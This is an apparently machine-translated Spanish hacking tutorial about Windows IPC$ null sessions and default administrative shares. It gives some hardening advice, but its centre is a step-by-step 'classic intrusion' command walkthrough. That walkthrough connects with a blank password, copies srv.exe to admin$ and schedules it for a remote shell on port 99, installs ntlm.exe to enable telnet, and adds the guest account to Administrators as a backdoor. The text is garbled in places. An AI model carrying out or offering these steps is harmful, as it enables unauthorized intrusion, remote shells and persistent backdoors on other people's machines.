¿Qué es el IPC$?
En segundo lugar, ¿qué es ipc$?
IPC$ (Conexión de proceso de Internet) es el recurso para compartir "canalizaciones con nombre" (eso es lo que todos dicen. Está diseñado para permitir Named). Las tuberías que están abiertas para la comunicación entre procesos pueden obtener los permisos correspondientes verificando los nombres de usuario y las contraseñas, y se utilizan cuando se administran computadoras de forma remota y se ven los recursos compartidos de la computadora.
Utilizando IPC$, el conector puede incluso establecer una conexión vacía con el host de destino sin necesidad de un nombre de usuario y contraseña (por supuesto, la máquina de la otra parte debe tener ipc$*** habilitado; de lo contrario, no podrá conectarse) ), y usando esta conexión vacía, el conector también puede obtener la lista de usuarios en el host de destino (pero el administrador responsable prohibirá exportar la lista de usuarios).
Siempre hablamos de la vulnerabilidad de ipc$. De hecho, ipc$ no es una vulnerabilidad en el verdadero sentido. Es una función de inicio de sesión remoto en la red que se abre para facilitar la gestión remota de los administradores. abre Se establece el uso compartido predeterminado, es decir, todos los discos lógicos (c$, d$, e$...) y el directorio del sistema winnt o windows (admin$).
La intención original de todo esto es facilitar la gestión de los administradores, pero las buenas intenciones originales no necesariamente tienen buenos resultados. Algunas personas tienen motivos ocultos (¿cuáles son sus intenciones? No lo sé, ahí). es solo un pronombre) Usará IPC$ para acceder a recursos privados, exportar listas de usuarios y usará algunas herramientas de diccionario para realizar la detección de contraseñas, con la esperanza de obtener permisos más altos, logrando así propósitos ocultos.
Respuesta: p>
1) La conexión IPC es una función única de inicio de sesión remoto en la red en sistemas Windows NT y superiores. Su función es equivalente a Telnet en Unix. Debido a que la función IPC$ requiere el uso de muchas DLL en la función Windows NT. no se ejecutará en Windows 9.x.
En otras palabras, solo nt/2000/xp puede establecer una conexión ipc$, y 98/me no puede establecer una conexión ipc$ (pero algunos amigos dicen que se puede establecer una conexión vacía en 98, yo No sé si es Verdadero o Falso, pero ahora estamos en 2003, sugiero a los camaradas de 98 que cambien el sistema, 98 no está contento)
2) Incluso una conexión vacía no es 100% exitosa, si la la otra parte ha desactivado ipc $***Compartir, aún no puede establecer una conexión
3) Esto no significa que pueda ver la lista de usuarios de la otra parte después de establecer una conexión ipc$, porque el administrador puede prohibir la exportación de la lista de usuarios
3. La función de establecer una conexión ipc$ en ataques de piratería
Como se mencionó anteriormente, incluso si establece una conexión vacía, puede obtener muchas cosas. de información (y esta información es a menudo una intrusión (Indispensable), acceda a algunos *** compartir, si puede iniciar sesión como usuario con ciertos permisos, entonces obtendrá los permisos correspondientes. Obviamente, si inicia sesión como administrador , jeje, no necesito decir más, ¡¡lo que quieras, lo puedes hacer!!
(Básicamente se puede resumir en obtener información de destino, gestionar procesos y servicios de destino, cargar troyanos y ejecutarlos. Si es 2000server, también puedes considerar activar los servicios de terminal para un control más fácil. ¿Qué tal? ¡Es increíble!)
Pero no te alegres demasiado pronto, porque la contraseña del administrador no es tan fácil. Aunque habrá algunos administradores estúpidos que usan contraseñas vacías o contraseñas débiles, después de todo son una minoría y ya no son lo que solían ser. A medida que aumenta la conciencia de la gente sobre la seguridad, los administradores se vuelven más cuidadosos. , y será cada vez más difícil obtener la contraseña del administrador: (
Por lo tanto, en el futuro, lo más probable es que se conecte con permisos mínimos o incluso sin permisos. Poco a poco descubrirá que las conexiones ipc$ son no es omnipotente, incluso si el host no habilita ipc$** *Al compartir, no puedes conectarte en absoluto.
Así que creo que no deberías considerar la invasión de ipc$ como el arma definitiva, y No creas que es invencible. Es como un pase ante una portería en un campo de fútbol. El balón rara vez tiene el efecto de un golpe fatal, pero creo que ese es el significado de la conexión ipc$. invasión de hackers.
Cuatro ipc$ y conexiones vacías, 139,445 La relación entre el puerto y el uso compartido predeterminado
La relación entre los cuatro anteriores puede ser un tema confuso para los novatos, pero la mayoría de los artículos lo hacen. No lo explico en particular, de hecho, no lo entiendo muy a fondo. Todos se resumen a través de la comunicación con todos (se puede decir que un BBS con un buen ambiente de discusión es un paraíso para los novatos). p>1) ipc$ y conexión vacía:
No es necesario La conexión ipc$ con nombre de usuario y contraseña es una conexión vacía una vez que inicia sesión como usuario o administrador (es decir, utiliza una conexión ipc$. con un nombre de usuario y contraseña específicos), no se puede llamar una conexión vacía.
Muchas personas pueden preguntar, ya que puedo conectarme vacía, me conectaré vacía en el futuro, ¿por qué tengo que gastar? ¿Tanto esfuerzo para buscar contraseñas débiles Jaja, la razón se mencionó anteriormente, cuando inicias sesión con una conexión vacía, no tienes ningún permiso (lo cual es muy frustrante), pero cuando inicias sesión como usuario? o administrador, tendrás los permisos correspondientes (quién no querría tener permisos, así que escanéalo honestamente, no seas perezoso).
2) ipc$ y puerto 139,445:
La conexión ipc$ puede realizar inicio de sesión remoto y acceso al recurso compartido predeterminado; y la apertura del puerto 139 significa que con la aplicación del protocolo netbios, podemos acceder a archivos/impresoras compartidas a través de los puertos 139 y 445 (win2000), por lo que En términos generales, la conexión ipc$ requiere el puerto 139 o 445 para ser compatible.
3) ipc$ y el recurso compartido predeterminado
El recurso compartido predeterminado es el que está habilitado de forma predeterminada para facilitar el control remoto. gestión por parte de administradores (por supuesto que puedes desactivarlo), es decir, todos los discos lógicos (c$, d$, e$...) y el directorio del sistema winnt o windows (admin$), podemos acceder a estos predeterminados * ** comparte a través de la conexión ipc$ (siempre que la otra parte no haya cerrado estos *** predeterminados Disfrute)
Cinco razones para la falla de la conexión ipc$
Las siguientes 5 razones son comparativas
Común:
1) Su sistema no es un sistema operativo NT o superior;
2) La otra parte no abre el uso compartido de ipc$default***
3) La otra parte no ha abierto el puerto 139 o 445 (está bloqueado por el firewall)
4) La entrada de su comando es incorrecta (como faltan espacios, etc.)
5) El nombre de usuario o la contraseña son incorrectos (por supuesto, no importa si la conexión está vacía)
Además, también puedes analizar el motivo según el número de error devuelto:
Error número 5, acceso denegado: Es muy probable que el usuario que estás utilizando no tenga derechos de administrador. Sí, eleva los permisos primero.
Error número 51, Windows no puede encontrar la ruta de red; : Hay un problema con la red;
Error número 53, no se puede encontrar la ruta de la red: la dirección IP es incorrecta; el destino no está encendido. El servicio lanmanserver de destino no está iniciado; un firewall (filtrado de puertos);
Error número 67, no se puede encontrar el nombre de la red: su servicio lanmanworkstation no está iniciado; el destino ha eliminado ipc$; Las credenciales proporcionadas entran en conflicto con el conjunto de credenciales existente: ha establecido un ipc$ con la otra parte, elimínelo y vuelva a intentarlo.
Error número 1326, nombre de usuario desconocido o contraseña incorrecta: el motivo es obvio.
Error número 1792, al intentar iniciar sesión, pero el servicio de inicio de sesión de red no se inició: el objetivo; El servicio NetLogon no se inició. (Esto sucederá cuando se conecte a un controlador de dominio)
Error número 2242, la contraseña de este usuario ha caducado: el objetivo tiene una política de cuenta que fuerza cambios periódicos de contraseña.
El problema de que ipc$ no pueda conectarse es relativamente complicado. Además de las razones anteriores, también hay otros factores inciertos que no puedo dar una explicación detallada y definitiva aquí. propia experiencia y experimentación.
6. Cómo abrir el IPC$ del objetivo (este párrafo es citado de un artículo relacionado)
En primer lugar, necesita obtener un shell que No depende de ipc$, como la extensión cmd de sql y telnet, troyano. Por supuesto, este shell debe tener permisos de administrador y luego puede usar el shell para ejecutar el comando net share ipc$ para abrir el ipc$ del objetivo. . De lo anterior, podemos saber que existen muchas condiciones para que se utilice ipc$. Confirme que los servicios relevantes se estén ejecutando. De lo contrario, inícielo (si no sabe cómo hacerlo, consulte el uso del comando net). Si aún no funciona (por ejemplo, hay un). firewall y no se puede eliminar), se recomienda darse por vencido.
Siete cómo prevenir la intrusión de ipc$
1. Prohibir conexiones vacías para la enumeración (esta operación no impide el establecimiento de conexiones vacías, citado de "Anatomía de sesiones vacías en win2000" )
Primero ejecute regedit, busque el siguiente componente [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] y cambie el valor clave de RestrictAnonymous = DWORD a: 00000001 (si se establece en 2, se producirán algunos problemas, como algunos Hay problemas con los servicios WIN, etc.)
2 Deshabilitar el uso compartido predeterminado
1) Ver recursos compartidos locales
Ejecute -cmd-enter net compartir
2) Eliminar *** recursos compartidos (ingrese uno a la vez)
net share ipc$ /delete
net share admin$ /delete p>
net share c$ /delete
net share d$ /delete (si hay e, f,... puedes continuar eliminando)
3) Detenga el servicio del servidor
net stop server /y (el servicio del servidor se reiniciará después de reiniciar)
4) Modifique el registro
Ejecute -regedit p>
Versión del servidor: busque la siguiente clave principal [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] y cambie el valor de la clave de AutoShareServer (DWORD) a: 00000000.
Versión Pro: busque la siguiente clave principal [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] y cambie el valor de la clave de AutoShareWks (DWORD) a: 00000000.
Si la clave principal mencionada anteriormente no existe, cree una nueva clave principal (haga clic derecho en Nuevo valor de doble byte) y luego cambie el valor de la clave.
3 Cierre permanentemente ipc$ y el servicio dependiente compartido predeterminado: lanmanserver es el servicio del servidor
Panel de control - Herramientas de administración - Servicios - Busque el servicio del servidor (clic derecho) - Propiedades - General - Tipo de inicio - Deshabilitado
4 Instale un firewall (seleccione la configuración relevante) o un filtro de puerto (filtre 139, 445, etc.) o use una nueva versión del maestro de optimización
5 Configuración Contraseñas complejas para evitar el agotamiento de la contraseña a través de ipc$
(Este tutorial se actualiza de vez en cuando. Para obtener la última versión, inicie sesión en el sitio web oficial: Original de Cainiao Community )
Ocho comandos relacionados
1) Establecer una conexión vacía:
net use \\IP\ipc$ "" /user:"" (Asegúrese de Nota: esta línea de comando contiene 3 espacios)
2) Establezca una conexión no nula:
net use \\IP\ipc$ "nombre de usuario" /usuario:"contraseña " (también 3 espacios)
3) Asignación del valor predeterminado *** share:
net use z: \\IP\c$ "contraseña" /usuario:"nombre de usuario" ( puede asignar la unidad c de la otra parte a su propio disco z, y así sucesivamente para otros discos)
Si se ha establecido ipc$ con el objetivo, puede acceder directamente a él con IP+letra de unidad+$. El comando específico es net use z: \\IP\c$
4) Eliminar una conexión ipc$
net use \\IP\ipc$ /del
5) Eliminar ***mapeo compartido
net use c: /del elimina la unidad c asignada, y así sucesivamente para otras unidades
net use * /del elimina todo, se le pedirá que presione y para confirmar
Nueve modos de intrusión clásicos
Este modo de invasión es tan clásico que se presenta en la mayoría de los tutoriales de IPC, así que lo citaría aquí. Me gustaría agradecer al autor original (no sé quién es el mayor)
1 C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" <. /p>
Esta es la IP cuyo nombre de usuario es administradores y la contraseña está "vacía" escaneada usando la dirección "Streamer" (¿contraseña vacía? Vaya, tienes mucha suerte si planeas atacar, puedes usar esa dirección). comando para establecer una conexión con 127.0.0.1. Debido a que la contraseña está "vacía", no es necesario ingresar la primera comilla, las siguientes comillas dobles son el nombre de usuario, ingrese administradores y el comando se completará con éxito. .
2. C:\>copiar srv.exe \\127.0.0.1\admin$
Copie srv.exe primero, estará en el directorio Herramientas del transmisor (aquí $ se refiere a c:\winnt\system32\ del usuario administrador. También puede usar c$ y d$, lo que significa unidad C y unidad D (depende de dónde desee copiar).
3. C:\>net time \\127.0.0.1
Verifique la hora y descubra que la hora actual de 127.0.0.1 es 2002/3/19 11:00 am. , comando completado con éxito.
4. C:\>at \\127.0.0.1 11:05 srv.exe
Utilice el comando at para iniciar srv.exe (el tiempo establecido aquí es más rápido que el host time, de lo contrario, ¿cómo puedes iniciarlo, jaja!)
5. C:\>net time \\127.0.0.1
¿Has verificado la hora nuevamente? Si la hora actual de 127.0.0.1 es 2002/3/19 11:05 a. m., prepárese para iniciar el siguiente comando.
6. C:\>telnet 127.0.0.1 99
Aquí se utilizará el comando Telnet. Tenga en cuenta que el puerto es 99.
El puerto Telnet predeterminado es 23, pero usamos SRV para crear un Shell de 99 puertos en la computadora de la otra parte.
Aunque podemos activar Telnet, SRV es de un solo uso y debe activarse nuevamente la próxima vez que inicie sesión. ¡Así que vamos a construir un servicio Telnet! Esto requiere el uso de ntlm
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
Use el comando Copiar para cargar ntlm.exe al host (ntlm.exe también se encuentra en el directorio de Herramientas de "Streamer").
8. C:\WINNT\system32>ntlm
Ingrese ntlm para iniciar (C:\WINNT\system32> aquí se refiere a la otra computadora. La ejecución de ntlm realmente permite que este programa se ejecute en el ordenador de la otra parte). Cuando aparece "DONE", significa que ha comenzado normalmente. Luego utilice "net start telnet" para iniciar el servicio Telnet.
9. Telnet 127.0.0.1, luego ingrese el nombre de usuario y la contraseña para ingresar a la otra parte. ¡La operación es tan simple como operar en DOS! (Entonces, ¿qué quieres hacer? Simplemente haz lo que quieras, jaja)
Por si acaso, agregaremos la activación de invitados al grupo de administración
10. net user guest /active:yes
Activar el usuario invitado de la otra parte
11. C:\>net user guest 1234
Establecer la contraseña de invitado Cámbiela. a 1234, o la contraseña que desea configurar
12. C:\>net localgroup Administrators guest /add
Cambiar invitado a administrador^_^ (si la contraseña del administrador cambia, si la cuenta de invitado no ha cambiado, podemos usar la cuenta de invitado para acceder a esta computadora nuevamente la próxima vez)
No sé si está satisfecho con esta respuesta